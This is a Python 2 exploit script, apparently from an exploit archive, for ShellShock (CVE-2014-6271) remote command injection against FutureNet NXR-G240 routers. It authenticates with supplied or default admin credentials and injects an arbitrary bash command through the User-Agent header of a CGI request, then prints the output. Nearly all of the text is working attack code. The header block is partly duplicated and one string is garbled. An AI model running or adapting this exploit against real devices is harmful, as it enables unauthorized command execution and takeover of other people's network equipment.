# -*- coding: utf-8 -*-
# Title: FutureNet NXR-G240 Series - "ShellShock" Remote Command Injection
# Date: 2018-06-12
# Author: Nassim Asrir
# You have a Q ? Cont # -*- coding: utf-8 -*-
# Title: FutureNet NXR-G240 Series - "ShellShock" Remote Command Injection
# Date: 2018-06-12
# Author: Nassim Asrir
# You have a Q ? Contact me at: https://www.linkedin.com/in/nassim-asrir-b73a57122/
# Vendor: http://www.centurysys.co.jp/
# CVE: CVE-2014-6271
# Greetz to : Nadia BENCHIKHA for the great help.
# Example:
# [root@parrot]a[/home/sniperpex/Desktop]
# #python ./exploit.py http://server -u admin -p admin -c ps

import urllib2
import base64
import bs4
import sys
import argparse
reload(sys)
sys.setdefaultencoding('utf8')

ap = argparse.ArgumentParser(description="FutureNet NXR-G240 Series - ShellShock Remote Command Injection ")

ap.add_argument("host", help="(Example: http://127.0.0.1).")

ap.add_argument("-u", "--user", help="Admin username (Default: admin)")

ap.add_argument("-p", "--password", help="Admin password (Default: admin)")

ap.add_argument("-c", "--cmd", help="Command to run.")

args = ap.parse_args()

request = urllib2.Request(args.host+"/cgi-bin/information.cgi?section=arp&module=system&command=execute")

base64string = base64.encodestring('%s:%s' % (args.user, args.password)).replace(' ', '')

print '[+] Authentication & Exploit in progress...'

request.add_header("Authorization", "Basic %s" % base64string)

request.add_header("User-Agent", "() { :;}; /bin/bash -c "+str(args.cmd))

response = urllib2.urlopen(request)

soup = bs4.BeautifulSoup(response, 'html.parser')

for textarea in soup.find_all('pre'):

print textarea.get_text().replace("# ARPaea +-",'').replace("e!"c$?oaSSaa3/4aa",'')